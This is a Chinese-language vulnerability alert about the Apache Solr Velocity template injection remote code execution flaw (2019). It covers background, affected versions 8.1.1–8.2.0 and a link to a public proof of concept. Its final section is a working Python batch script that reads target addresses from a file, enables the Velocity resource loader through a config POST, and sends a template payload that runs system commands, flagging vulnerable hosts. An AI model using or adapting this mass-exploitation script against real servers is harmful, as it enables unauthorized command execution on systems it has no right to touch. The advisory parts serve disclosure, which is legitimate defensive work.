【漏洞预警 】Apache Solr Velocity 模板远程代码执行漏洞
ps:由于昨天推文次数已经用完,所以没有即时推送,今天补上
0x00背景介绍
Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现 近日国外安全研究员s00py在Github上公开了Apache Solr Velocity的服务端模板注入漏洞的POC
文档名称 | Apache Solr Velocity模板远程代码执行漏洞预警 |
---|---|
关键字 | Apache Solr,Velocity模板,远程代码执行漏洞 |
发布日期 | 2019年10月31日 |
0x01漏洞描述
Apache Solr是默认集成了VelocityResponseWriter这个插件,插件的初始化过程中params.resource.loader.enabled,程序默认设置是false。攻击者在可以访问Solr控制台时,可以通过发送/节点名称/config的POST请求的方式对该项配置进行更改,当该配置被更改为true时用户将被允许通过设置请求中的参数来指定加载相关的资源,攻击者可以通过此功能构造恶意请求。
Solr集成的VelocityResponseWriter组件,可以允许攻击者构造特定请求修改相关配置,使VelocityResponseWriter组件允许加载指定模板,从而导致Velocity模版注入远程命令执行漏洞。目前漏洞处于0day状态,并且EXP已被公开。
0x02漏洞等级
高危
0x03受影响版本
经过测试,目前影响Apache Solr 8.1.1到8.2.0版本。但是目前无法确定出现问题的API是何时引入,所以预估是影响全版本。
0x04 POC地址
代码语言:javascript复制
https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt
0x05 漏洞批量脚本
代码语言:javascript复制import requests, time
def first_send(url):
url = url "/solr/test/config"
data = {
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
res = requests.post(url, data=data)
def last_send(url):
url = url "/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=#set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String')) #set($ex=$rt.getRuntime().exec('id')) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end"
res = requests.get(url)
return res
if __name__ == '__main__':
with open("ip.txt", "r ") as f:
urls = f.readlines()
for url in urls:
if ("http://" not in url) and ("https://" not in url):
print("正在验证url:%s" % url)
url = "http://" url
try:
first_send(url)
text = last_send(url).text
except:
continue
if ("uid=" in text) and ("gid=" in text) and ("groups=" in text):
print("%s存在漏洞" %url)
print(text)
time.sleep(2)